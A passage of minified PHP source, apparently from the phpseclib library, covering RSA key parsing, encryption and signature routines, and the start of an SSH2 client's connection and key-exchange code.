$key = substr($key, 1); $length = $this->_decodeLength($key); $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['coefficients'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); } } return $components; case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH: $key = base64_decode(preg_replace('#^ssh-rsa | .+$#', '', $key)); if ($key === false) { return false; } $cleanup = substr($key, 0, 11) == "\0\0\0\7ssh-rsa"; extract(unpack('Nlength', $this->_string_shift($key, 4))); $publicExponent = new Math_BigInteger($this->_string_shift($key, $length) , -256); extract(unpack('Nlength', $this->_string_shift($key, 4))); $modulus = new Math_BigInteger($this->_string_shift($key, $length) , -256); if ($cleanup && strlen($key)) { extract(unpack('Nlength', $this->_string_shift($key, 4))); return array( 'modulus' => new Math_BigInteger($this->_string_shift($key, $length) , -256) , 'publicExponent' => $modulus ); } else { return array( 'modulus' => $modulus, 'publicExponent' => $publicExponent ); } case CRYPT_RSA_PRIVATE_FORMAT_XML: case CRYPT_RSA_PUBLIC_FORMAT_XML: $this->components = array(); $xml = xml_parser_create('UTF-8'); xml_set_object($xml, $this); xml_set_element_handler($xml, '_start_element_handler', '_stop_element_handler'); xml_set_character_data_handler($xml, '_data_handler'); if (!xml_parse($xml, $key)) { return false; } return $this->components; case CRYPT_RSA_PRIVATE_FORMAT_PUTTY: $components = array(); $key = preg_split('#\r\n|\r|\n#', $key); $type = trim(preg_replace('#PuTTY-User-Key-File-2: (.+)#', '$1', $key[0])); if ($type != 'ssh-rsa') { return false; } $encryption = trim(preg_replace('#Encryption: (.+)#', '$1', $key[1])); $publicLength = trim(preg_replace('#Public-Lines: (\d+)#', '$1', $key[3])); $public = base64_decode(implode('', array_map('trim', array_slice($key, 4, $publicLength)))); $public = substr($public, 11); extract(unpack('Nlength', $this->_string_shift($public, 4))); $components['publicExponent'] = new Math_BigInteger($this->_string_shift($public, $length) , -256); extract(unpack('Nlength', $this->_string_shift($public, 4))); $components['modulus'] = new Math_BigInteger($this->_string_shift($public, $length) , -256); $privateLength = trim(preg_replace('#Private-Lines: (\d+)#', '$1', $key[$publicLength + 4])); $private = base64_decode(implode('', array_map('trim', array_slice($key, $publicLength + 5, $privateLength)))); switch ($encryption) { case 'aes256-cbc': if (!class_exists('Crypt_AES')) { echo 'your fucked'; exit; } $symkey = ''; $sequence = 0; while (strlen($symkey) < 32) { $temp = pack('Na*', $sequence++, $this->password); $symkey.= pack('H*', sha1($temp)); } $symkey = substr($symkey, 0, 32); $crypto = new Crypt_AES(); } if ($encryption != 'none') { $crypto->setKey($symkey); $crypto->disablePadding(); $private = $crypto->decrypt($private); if ($private === false) { return false; } } extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['privateExponent'] = new Math_BigInteger($this->_string_shift($private, $length) , -256); extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['primes'] = array( 1 => new Math_BigInteger($this->_string_shift($private, $length) , -256) ); extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['primes'][] = new Math_BigInteger($this->_string_shift($private, $length) , -256); $temp = $components['primes'][1]->subtract($this->one); $components['exponents'] = array( 1 => $components['publicExponent']->modInverse($temp) ); $temp = $components['primes'][2]->subtract($this->one); $components['exponents'][] = $components['publicExponent']->modInverse($temp); extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['coefficients'] = array( 2 => new Math_BigInteger($this->_string_shift($private, $length) , -256) ); return $components; } } function _start_element_handler($parser, $name, $attribs) { switch ($name) { case 'MODULUS': $this->current = & $this->components['modulus']; break; case 'EXPONENT': $this->current = & $this->components['publicExponent']; break; case 'P': $this->current = & $this->components['primes'][1]; break; case 'Q': $this->current = & $this->components['primes'][2]; break; case 'DP': $this->current = & $this->components['exponents'][1]; break; case 'DQ': $this->current = & $this->components['exponents'][2]; break; case 'INVERSEQ': $this->current = & $this->components['coefficients'][2]; break; case 'D': $this->current = & $this->components['privateExponent']; break; default: unset($this->current); } $this->current = ''; } function _stop_element_handler($parser, $name) { if ($name == 'RSAKEYVALUE') { return; } $this->current = new Math_BigInteger(base64_decode($this->current) , 256); } function _data_handler($parser, $data) { if (!isset($this->current) || is_object($this->current)) { return; } $this->current.= trim($data); } function loadKey($key, $type = false) { if ($type === false) { $types = array( CRYPT_RSA_PUBLIC_FORMAT_RAW, CRYPT_RSA_PRIVATE_FORMAT_PKCS1, CRYPT_RSA_PRIVATE_FORMAT_XML, CRYPT_RSA_PRIVATE_FORMAT_PUTTY, CRYPT_RSA_PUBLIC_FORMAT_OPENSSH ); foreach($types as $type) { $components = $this->_parseKey($key, $type); if ($components !== false) { break; } } } else { $components = $this->_parseKey($key, $type); } if ($components === false) { return false; } $this->modulus = $components['modulus']; $this->k = strlen($this->modulus->toBytes()); $this->exponent = isset($components['privateExponent']) ? $components['privateExponent'] : $components['publicExponent']; if (isset($components['primes'])) { $this->primes = $components['primes']; $this->exponents = $components['exponents']; $this->coefficients = $components['coefficients']; $this->publicExponent = $components['publicExponent']; } else { $this->primes = array(); $this->exponents = array(); $this->coefficients = array(); $this->publicExponent = false; } return true; } function setPassword($password) { $this->password = $password; } function setPublicKey($key, $type = CRYPT_RSA_PUBLIC_FORMAT_PKCS1) { $components = $this->_parseKey($key, $type); if (empty($this->modulus) || !$this->modulus->equals($components['modulus'])) { user_error('Trying to load a public key? Use loadKey() instead. It\'s called loadKey() and not loadPrivateKey() for a reason.', E_USER_NOTICE); return false; } $this->publicExponent = $components['publicExponent']; return true; } function getPublicKey($type = CRYPT_RSA_PUBLIC_FORMAT_PKCS1) { if (empty($this->modulus) || empty($this->publicExponent)) { return false; } $oldFormat = $this->publicKeyFormat; $this->publicKeyFormat = $type; $temp = $this->_convertPublicKey($this->modulus, $this->publicExponent); $this->publicKeyFormat = $oldFormat; return $temp; } function _generateMinMax($bits) { $bytes = $bits >> 3; $min = str_repeat(chr(0) , $bytes); $max = str_repeat(chr(0xFF) , $bytes); $msb = $bits & 7; if ($msb) { $min = chr(1 << ($msb - 1)) . $min; $max = chr((1 << $msb) - 1) . $max; } else { $min[0] = chr(0x80); } return array( 'min' => new Math_BigInteger($min, 256) , 'max' => new Math_BigInteger($max, 256) ); } function _decodeLength(&$string) { $length = ord($this->_string_shift($string)); if ($length & 0x80) { $length&= 0x7F; $temp = $this->_string_shift($string, $length); list(, $length) = unpack('N', substr(str_pad($temp, 4, chr(0) , STR_PAD_LEFT) , -4)); } return $length; } function _encodeLength($length) { if ($length <= 0x7F) { return chr($length); } $temp = ltrim(pack('N', $length) , chr(0)); return pack('Ca*', 0x80 | strlen($temp) , $temp); } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } function setPrivateKeyFormat($format) { $this->privateKeyFormat = $format; } function setPublicKeyFormat($format) { $this->publicKeyFormat = $format; } function setHash($hash) { switch ($hash) { case 'md2': case 'md5': case 'sha1': case 'sha256': case 'sha384': case 'sha512': $this->hash = new Crypt_Hash($hash); $this->hashName = $hash; break; default: $this->hash = new Crypt_Hash('sha1'); $this->hashName = 'sha1'; } $this->hLen = $this->hash->getLength(); } function setMGFHash($hash) { switch ($hash) { case 'md2': case 'md5': case 'sha1': case 'sha256': case 'sha384': case 'sha512': $this->mgfHash = new Crypt_Hash($hash); break; default: $this->mgfHash = new Crypt_Hash('sha1'); } $this->mgfHLen = $this->mgfHash->getLength(); } function setSaltLength($sLen) { $this->sLen = $sLen; } function _random($bytes, $nonzero = false) { $temp = ''; if ($nonzero) { for ($i = 0; $i < $bytes; $i++) { $temp.= chr(crypt_random(1, 255)); } } else { $ints = ($bytes + 1) >> 2; for ($i = 0; $i < $ints; $i++) { $temp.= pack('N', crypt_random()); } $temp = substr($temp, 0, $bytes); } return $temp; } function _i2osp($x, $xLen) { $x = $x->toBytes(); if (strlen($x) > $xLen) { user_error('Integer too large', E_USER_NOTICE); return false; } return str_pad($x, $xLen, chr(0) , STR_PAD_LEFT); } function _os2ip($x) { return new Math_BigInteger($x, 256); } function _exponentiate($x) { if (empty($this->primes) || empty($this->coefficients) || empty($this->exponents)) { return $x->modPow($this->exponent, $this->modulus); } $num_primes = count($this->primes); if (defined('CRYPT_RSA_DISABLE_BLINDING')) { $m_i = array( 1 => $x->modPow($this->exponents[1], $this->primes[1]) , 2 => $x->modPow($this->exponents[2], $this->primes[2]) ); $h = $m_i[1]->subtract($m_i[2]); $h = $h->multiply($this->coefficients[2]); list(, $h) = $h->divide($this->primes[1]); $m = $m_i[2]->add($h->multiply($this->primes[2])); $r = $this->primes[1]; for ($i = 3; $i <= $num_primes; $i++) { $m_i = $x->modPow($this->exponents[$i], $this->primes[$i]); $r = $r->multiply($this->primes[$i - 1]); $h = $m_i->subtract($m); $h = $h->multiply($this->coefficients[$i]); list(, $h) = $h->divide($this->primes[$i]); $m = $m->add($r->multiply($h)); } } else { $smallest = $this->primes[1]; for ($i = 2; $i <= $num_primes; $i++) { if ($smallest->compare($this->primes[$i]) > 0) { $smallest = $this->primes[$i]; } } $one = new Math_BigInteger(1); $one->setRandomGenerator('crypt_random'); $r = $one->random($one, $smallest->subtract($one)); $m_i = array( 1 => $this->_blind($x, $r, 1) , 2 => $this->_blind($x, $r, 2) ); $h = $m_i[1]->subtract($m_i[2]); $h = $h->multiply($this->coefficients[2]); list(, $h) = $h->divide($this->primes[1]); $m = $m_i[2]->add($h->multiply($this->primes[2])); $r = $this->primes[1]; for ($i = 3; $i <= $num_primes; $i++) { $m_i = $this->_blind($x, $r, $i); $r = $r->multiply($this->primes[$i - 1]); $h = $m_i->subtract($m); $h = $h->multiply($this->coefficients[$i]); list(, $h) = $h->divide($this->primes[$i]); $m = $m->add($r->multiply($h)); } } return $m; } function _blind($x, $r, $i) { $x = $x->multiply($r->modPow($this->publicExponent, $this->primes[$i])); $x = $x->modPow($this->exponents[$i], $this->primes[$i]); $r = $r->modInverse($this->primes[$i]); $x = $x->multiply($r); list(, $x) = $x->divide($this->primes[$i]); return $x; } function _rsaep($m) { if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) { user_error('Message representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($m); } function _rsadp($c) { if ($c->compare($this->zero) < 0 || $c->compare($this->modulus) > 0) { user_error('Ciphertext representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($c); } function _rsasp1($m) { if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) { user_error('Message representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($m); } function _rsavp1($s) { if ($s->compare($this->zero) < 0 || $s->compare($this->modulus) > 0) { user_error('Signature representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($s); } function _mgf1($mgfSeed, $maskLen) { $t = ''; $count = ceil($maskLen / $this->mgfHLen); for ($i = 0; $i < $count; $i++) { $c = pack('N', $i); $t.= $this->mgfHash->hash($mgfSeed . $c); } return substr($t, 0, $maskLen); } function _rsaes_oaep_encrypt($m, $l = '') { $mLen = strlen($m); if ($mLen > $this->k - 2 * $this->hLen - 2) { user_error('Message too long', E_USER_NOTICE); return false; } $lHash = $this->hash->hash($l); $ps = str_repeat(chr(0) , $this->k - $mLen - 2 * $this->hLen - 2); $db = $lHash . $ps . chr(1) . $m; $seed = $this->_random($this->hLen); $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1); $maskedDB = $db ^ $dbMask; $seedMask = $this->_mgf1($maskedDB, $this->hLen); $maskedSeed = $seed ^ $seedMask; $em = chr(0) . $maskedSeed . $maskedDB; $m = $this->_os2ip($em); $c = $this->_rsaep($m); $c = $this->_i2osp($c, $this->k); return $c; } function _rsaes_oaep_decrypt($c, $l = '') { if (strlen($c) != $this->k || $this->k < 2 * $this->hLen + 2) { user_error('Decryption error', E_USER_NOTICE); return false; } $c = $this->_os2ip($c); $m = $this->_rsadp($c); if ($m === false) { user_error('Decryption error', E_USER_NOTICE); return false; } $em = $this->_i2osp($m, $this->k); $lHash = $this->hash->hash($l); $y = ord($em[0]); $maskedSeed = substr($em, 1, $this->hLen); $maskedDB = substr($em, $this->hLen + 1); $seedMask = $this->_mgf1($maskedDB, $this->hLen); $seed = $maskedSeed ^ $seedMask; $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1); $db = $maskedDB ^ $dbMask; $lHash2 = substr($db, 0, $this->hLen); $m = substr($db, $this->hLen); if ($lHash != $lHash2) { user_error('Decryption error', E_USER_NOTICE); return false; } $m = ltrim($m, chr(0)); if (ord($m[0]) != 1) { user_error('Decryption error', E_USER_NOTICE); return false; } return substr($m, 1); } function _rsaes_pkcs1_v1_5_encrypt($m) { $mLen = strlen($m); if ($mLen > $this->k - 11) { user_error('Message too long', E_USER_NOTICE); return false; } $ps = $this->_random($this->k - $mLen - 3, true); $em = chr(0) . chr(2) . $ps . chr(0) . $m; $m = $this->_os2ip($em); $c = $this->_rsaep($m); $c = $this->_i2osp($c, $this->k); return $c; } function _rsaes_pkcs1_v1_5_decrypt($c) { if (strlen($c) != $this->k) { user_error('Decryption error', E_USER_NOTICE); return false; } $c = $this->_os2ip($c); $m = $this->_rsadp($c); if ($m === false) { user_error('Decryption error', E_USER_NOTICE); return false; } $em = $this->_i2osp($m, $this->k); if (ord($em[0]) != 0 || ord($em[1]) > 2) { user_error('Decryption error', E_USER_NOTICE); return false; } $ps = substr($em, 2, strpos($em, chr(0) , 2) - 2); $m = substr($em, strlen($ps) + 3); if (strlen($ps) < 8) { user_error('Decryption error', E_USER_NOTICE); return false; } return $m; } function _emsa_pss_encode($m, $emBits) { $emLen = ($emBits + 1) >> 3; $sLen = $this->sLen == false ? $this->hLen : $this->sLen; $mHash = $this->hash->hash($m); if ($emLen < $this->hLen + $sLen + 2) { user_error('Encoding error', E_USER_NOTICE); return false; } $salt = $this->_random($sLen); $m2 = "\0\0\0\0\0\0\0\0" . $mHash . $salt; $h = $this->hash->hash($m2); $ps = str_repeat(chr(0) , $emLen - $sLen - $this->hLen - 2); $db = $ps . chr(1) . $salt; $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1); $maskedDB = $db ^ $dbMask; $maskedDB[0] = ~ chr(0xFF << ($emBits & 7)) & $maskedDB[0]; $em = $maskedDB . $h . chr(0xBC); return $em; } function _emsa_pss_verify($m, $em, $emBits) { $emLen = ($emBits + 1) >> 3; $sLen = $this->sLen == false ? $this->hLen : $this->sLen; $mHash = $this->hash->hash($m); if ($emLen < $this->hLen + $sLen + 2) { return false; } if ($em[strlen($em) - 1] != chr(0xBC)) { return false; } $maskedDB = substr($em, 0, -$this->hLen - 1); $h = substr($em, -$this->hLen - 1, $this->hLen); $temp = chr(0xFF << ($emBits & 7)); if ((~$maskedDB[0] & $temp) != $temp) { return false; } $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1); $db = $maskedDB ^ $dbMask; $db[0] = ~ chr(0xFF << ($emBits & 7)) & $db[0]; $temp = $emLen - $this->hLen - $sLen - 2; if (substr($db, 0, $temp) != str_repeat(chr(0) , $temp) || ord($db[$temp]) != 1) { return false; } $salt = substr($db, $temp + 1); $m2 = "\0\0\0\0\0\0\0\0" . $mHash . $salt; $h2 = $this->hash->hash($m2); return $h == $h2; } function _rsassa_pss_sign($m) { $em = $this->_emsa_pss_encode($m, 8 * $this->k - 1); $m = $this->_os2ip($em); $s = $this->_rsasp1($m); $s = $this->_i2osp($s, $this->k); return $s; } function _rsassa_pss_verify($m, $s) { if (strlen($s) != $this->k) { user_error('Invalid signature', E_USER_NOTICE); return false; } $modBits = 8 * $this->k; $s2 = $this->_os2ip($s); $m2 = $this->_rsavp1($s2); if ($m2 === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } $em = $this->_i2osp($m2, $modBits >> 3); if ($em === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } return $this->_emsa_pss_verify($m, $em, $modBits - 1); } function _emsa_pkcs1_v1_5_encode($m, $emLen) { $h = $this->hash->hash($m); if ($h === false) { return false; } switch ($this->hashName) { case 'md2': $t = pack('H*', '3020300c06082a864886f70d020205000410'); break; case 'md5': $t = pack('H*', '3020300c06082a864886f70d020505000410'); break; case 'sha1': $t = pack('H*', '3021300906052b0e03021a05000414'); break; case 'sha256': $t = pack('H*', '3031300d060960864801650304020105000420'); break; case 'sha384': $t = pack('H*', '3041300d060960864801650304020205000430'); break; case 'sha512': $t = pack('H*', '3051300d060960864801650304020305000440'); } $t.= $h; $tLen = strlen($t); if ($emLen < $tLen + 11) { user_error('Intended encoded message length too short', E_USER_NOTICE); return false; } $ps = str_repeat(chr(0xFF) , $emLen - $tLen - 3); $em = "\0\1$ps\0$t"; return $em; } function _rsassa_pkcs1_v1_5_sign($m) { $em = $this->_emsa_pkcs1_v1_5_encode($m, $this->k); if ($em === false) { user_error('RSA modulus too short', E_USER_NOTICE); return false; } $m = $this->_os2ip($em); $s = $this->_rsasp1($m); $s = $this->_i2osp($s, $this->k); return $s; } function _rsassa_pkcs1_v1_5_verify($m, $s) { if (strlen($s) != $this->k) { user_error('Invalid signature', E_USER_NOTICE); return false; } $s = $this->_os2ip($s); $m2 = $this->_rsavp1($s); if ($m2 === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } $em = $this->_i2osp($m2, $this->k); if ($em === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } $em2 = $this->_emsa_pkcs1_v1_5_encode($m, $this->k); if ($em2 === false) { user_error('RSA modulus too short', E_USER_NOTICE); return false; } return $em === $em2; } function setEncryptionMode($mode) { $this->encryptionMode = $mode; } function setSignatureMode($mode) { $this->signatureMode = $mode; } function encrypt($plaintext) { switch ($this->encryptionMode) { case CRYPT_RSA_ENCRYPTION_PKCS1: $length = $this->k - 11; if ($length <= 0) { return false; } $plaintext = str_split($plaintext, $length); $ciphertext = ''; foreach($plaintext as $m) { $ciphertext.= $this->_rsaes_pkcs1_v1_5_encrypt($m); } return $ciphertext; default: $length = $this->k - 2 * $this->hLen - 2; if ($length <= 0) { return false; } $plaintext = str_split($plaintext, $length); $ciphertext = ''; foreach($plaintext as $m) { $ciphertext.= $this->_rsaes_oaep_encrypt($m); } return $ciphertext; } } function decrypt($ciphertext) { if ($this->k <= 0) { return false; } $ciphertext = str_split($ciphertext, $this->k); $plaintext = ''; switch ($this->encryptionMode) { case CRYPT_RSA_ENCRYPTION_PKCS1: $decrypt = '_rsaes_pkcs1_v1_5_decrypt'; break; default: $decrypt = '_rsaes_oaep_decrypt'; } foreach($ciphertext as $c) { $temp = $this->$decrypt($c); if ($temp === false) { return false; } $plaintext.= $temp; } return $plaintext; } function sign($message) { if (empty($this->modulus) || empty($this->exponent)) { return false; } switch ($this->signatureMode) { case CRYPT_RSA_SIGNATURE_PKCS1: return $this->_rsassa_pkcs1_v1_5_sign($message); default: return $this->_rsassa_pss_sign($message); } } function verify($message, $signature) { if (empty($this->modulus) || empty($this->exponent)) { return false; } switch ($this->signatureMode) { case CRYPT_RSA_SIGNATURE_PKCS1: return $this->_rsassa_pkcs1_v1_5_verify($message, $signature); default: return $this->_rsassa_pss_verify($message, $signature); } } } define('NET_SSH2_MASK_CONSTRUCTOR', 0x00000001); define('NET_SSH2_MASK_LOGIN', 0x00000002); define('NET_SSH2_MASK_SHELL', 0x00000004); define('NET_SSH2_CHANNEL_EXEC', 0); define('NET_SSH2_CHANNEL_SHELL', 1); define('NET_SSH2_LOG_SIMPLE', 1); define('NET_SSH2_LOG_COMPLEX', 2); define('NET_SSH2_READ_SIMPLE', 1); define('NET_SSH2_READ_REGEX', 2); class Net_SSH2 { var $identifier = 'SSH-2.0-phpseclib_0.2'; var $fsock; var $bitmap = 0; var $errors = array(); var $server_identifier = ''; var $kex_algorithms; var $server_host_key_algorithms; var $encryption_algorithms_client_to_server; var $encryption_algorithms_server_to_client; var $mac_algorithms_client_to_server; var $mac_algorithms_server_to_client; var $compression_algorithms_client_to_server; var $compression_algorithms_server_to_client; var $languages_server_to_client; var $languages_client_to_server; var $encrypt_block_size = 8; var $decrypt_block_size = 8; var $decrypt = false; var $encrypt = false; var $hmac_create = false; var $hmac_check = false; var $hmac_size = false; var $server_public_host_key; var $session_id = false; var $exchange_hash = false; var $message_numbers = array(); var $disconnect_reasons = array(); var $channel_open_failure_reasons = array(); var $terminal_modes = array(); var $channel_extended_data_type_codes = array(); var $send_seq_no = 0; var $get_seq_no = 0; var $server_channels = array(); var $channel_buffers = array(); var $channel_status = array(); var $packet_size_client_to_server = array(); var $message_number_log = array(); var $message_log = array(); var $window_size = 0x7FFFFFFF; var $window_size_client_to_server = array(); var $signature = ''; var $signature_format = ''; var $interactiveBuffer = ''; function Net_SSH2($host, $port = 22, $timeout = 10) { $this->message_numbers = array( 1 => 'NET_SSH2_MSG_DISCONNECT', 2 => 'NET_SSH2_MSG_IGNORE', 3 => 'NET_SSH2_MSG_UNIMPLEMENTED', 4 => 'NET_SSH2_MSG_DEBUG', 5 => 'NET_SSH2_MSG_SERVICE_REQUEST', 6 => 'NET_SSH2_MSG_SERVICE_ACCEPT', 20 => 'NET_SSH2_MSG_KEXINIT', 21 => 'NET_SSH2_MSG_NEWKEYS', 30 => 'NET_SSH2_MSG_KEXDH_INIT', 31 => 'NET_SSH2_MSG_KEXDH_REPLY', 50 => 'NET_SSH2_MSG_USERAUTH_REQUEST', 51 => 'NET_SSH2_MSG_USERAUTH_FAILURE', 52 => 'NET_SSH2_MSG_USERAUTH_SUCCESS', 53 => 'NET_SSH2_MSG_USERAUTH_BANNER', 80 => 'NET_SSH2_MSG_GLOBAL_REQUEST', 81 => 'NET_SSH2_MSG_REQUEST_SUCCESS', 82 => 'NET_SSH2_MSG_REQUEST_FAILURE', 90 => 'NET_SSH2_MSG_CHANNEL_OPEN', 91 => 'NET_SSH2_MSG_CHANNEL_OPEN_CONFIRMATION', 92 => 'NET_SSH2_MSG_CHANNEL_OPEN_FAILURE', 93 => 'NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST', 94 => 'NET_SSH2_MSG_CHANNEL_DATA', 95 => 'NET_SSH2_MSG_CHANNEL_EXTENDED_DATA', 96 => 'NET_SSH2_MSG_CHANNEL_EOF', 97 => 'NET_SSH2_MSG_CHANNEL_CLOSE', 98 => 'NET_SSH2_MSG_CHANNEL_REQUEST', 99 => 'NET_SSH2_MSG_CHANNEL_SUCCESS', 100 => 'NET_SSH2_MSG_CHANNEL_FAILURE' ); $this->disconnect_reasons = array( 1 => 'NET_SSH2_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT', 2 => 'NET_SSH2_DISCONNECT_PROTOCOL_ERROR', 3 => 'NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED', 4 => 'NET_SSH2_DISCONNECT_RESERVED', 5 => 'NET_SSH2_DISCONNECT_MAC_ERROR', 6 => 'NET_SSH2_DISCONNECT_COMPRESSION_ERROR', 7 => 'NET_SSH2_DISCONNECT_SERVICE_NOT_AVAILABLE', 8 => 'NET_SSH2_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED', 9 => 'NET_SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE', 10 => 'NET_SSH2_DISCONNECT_CONNECTION_LOST', 11 => 'NET_SSH2_DISCONNECT_BY_APPLICATION', 12 => 'NET_SSH2_DISCONNECT_TOO_MANY_CONNECTIONS', 13 => 'NET_SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER', 14 => 'NET_SSH2_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE', 15 => 'NET_SSH2_DISCONNECT_ILLEGAL_USER_NAME' ); $this->channel_open_failure_reasons = array( 1 => 'NET_SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED' ); $this->terminal_modes = array( 0 => 'NET_SSH2_TTY_OP_END' ); $this->channel_extended_data_type_codes = array( 1 => 'NET_SSH2_EXTENDED_DATA_STDERR' ); $this->_define_array($this->message_numbers, $this->disconnect_reasons, $this->channel_open_failure_reasons, $this->terminal_modes, $this->channel_extended_data_type_codes, array( 60 => 'NET_SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ' ) , array( 60 => 'NET_SSH2_MSG_USERAUTH_PK_OK' ) , array( 60 => 'NET_SSH2_MSG_USERAUTH_INFO_REQUEST', 61 => 'NET_SSH2_MSG_USERAUTH_INFO_RESPONSE' )); $this->fsock = @fsockopen($host, $port, $errno, $errstr, $timeout); if (!$this->fsock) { user_error(rtrim("Cannot connect to $host. Error $errno. $errstr") , E_USER_NOTICE); return; } $temp = ''; $extra = ''; while (!feof($this->fsock) && !preg_match('#^SSH-(\d\.\d+)#', $temp, $matches)) { if (substr($temp, -2) == "\r\n") { $extra.= $temp; $temp = ''; } $temp.= fgets($this->fsock, 255); } if (feof($this->fsock)) { user_error('Connection closed by server', E_USER_NOTICE); return false; } $ext = array(); if (extension_loaded('mcrypt')) { $ext[] = 'mcrypt'; } if (extension_loaded('gmp')) { $ext[] = 'gmp'; } else if (extension_loaded('bcmath')) { $ext[] = 'bcmath'; } if (!empty($ext)) { $this->identifier.= ' (' . implode(', ', $ext) . ')'; } if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[] = '<-'; $this->message_number_log[] = '->'; if (NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $this->message_log[] = $temp; $this->message_log[] = $this->identifier . "\r\n"; } } $this->server_identifier = trim($temp, "\r\n"); if (!empty($extra)) { $this->errors[] = utf8_decode($extra); } if ($matches[1] != '1.99' && $matches[1] != '2.0') { user_error("Cannot connect to SSH $matches[1] servers", E_USER_NOTICE); return; } fputs($this->fsock, $this->identifier . "\r\n"); $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return; } if (ord($response[0]) != NET_SSH2_MSG_KEXINIT) { user_error('Expected SSH_MSG_KEXINIT', E_USER_NOTICE); return; } if (!$this->_key_exchange($response)) { return; } $this->bitmap = NET_SSH2_MASK_CONSTRUCTOR; } function _key_exchange($kexinit_payload_server) { static $kex_algorithms = array( 'diffie-hellman-group1-sha1', 'diffie-hellman-group14-sha1' ); static $server_host_key_algorithms = array( 'ssh-rsa', 'ssh-dss' ); static $encryption_algorithms = array( 'aes128-cbc', 'aes192-cbc', 'aes256-cbc', 'aes128-ctr', 'aes192-ctr', 'aes256-ctr', '3des-ctr', '3des-cbc', 'none' ); static $mac_algorithms = array( 'hmac-sha1-96', 'hmac-sha1', 'hmac-md5-96', 'hmac-md5', 'none' ); static $compression_algorithms = array( 'none' ); static $str_kex_algorithms, $str_server_host_key_algorithms, $encryption_algorithms_server_to_client, $mac_algorithms_server_to_client, $compression_algorithms_server_to_client, $encryption_algorithms_client_to_server, $mac_algorithms_client_to_server, $compression_algorithms_client_to_server; if (empty($str_kex_algorithms)) { $str_kex_algorithms = implode(',', $kex_algorithms); $str_server_host_key_algorithms = implode(',', $server_host_key_algorithms); $encryption_algorithms_server_to_client = $encryption_algorithms_client_to_server = implode(',', $encryption_algorithms); $mac_algorithms_server_to_client = $mac_algorithms_client_to_server = implode(',', $mac_algorithms); $compression_algorithms_server_to_client = $compression_algorithms_client_to_server = implode(',', $compression_algorithms); } $client_cookie = ''; for ($i = 0; $i < 16; $i++) { $client_cookie.= chr(crypt_random(0, 255)); } $response = $kexinit_payload_server; $this->_string_shift($response, 1); $server_cookie = $this->_string_shift($response, 16); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->kex_algorithms = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->server_host_key_algorithms = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->encryption_algorithms_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->encryption_algorithms_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->mac_algorithms_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->mac_algorithms_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->compression_algorithms_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->compression_algorithms_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->languages_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->languages_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); extract(unpack('Cfirst_kex_packet_follows', $this->_string_shift($response, 1))); $first_kex_packet_follows = $first_kex_packet_follows != 0; $kexinit_payload_client = pack('Ca*Na*Na*Na*Na*Na*Na*Na*Na*Na*Na*CN', NET_SSH2_MSG_KEXINIT, $client_cookie, strlen($str_kex_algorithms) , $str_kex_algorithms, strlen($str_server_host_key_algorithms) , $str_server_host_key_algorithms, strlen($encryption_algorithms_client_to_server) , $encryption_algorithms_client_to_server, strlen($encryption_algorithms_server_to_client) , $encryption_algorithms_server_to_client, strlen($mac_algorithms_client_to_server) , $mac_algorithms_client_to_server, strlen($mac_algorithms_server_to_client) , $mac_algorithms_server_to_client, strlen($compression_algorithms_client_to_server) , $compression_algorithms_client_to_server, strlen($compression_algorithms_server_to_client) , $compression_algorithms_server_to_client, 0, '', 0, '', 0, 0); if (!$this->_send_binary_packet($kexinit_payload_client)) { return false; } for ($i = 0; $i < count($encryption_algorithms) && !in_array($encryption_algorithms[$i], 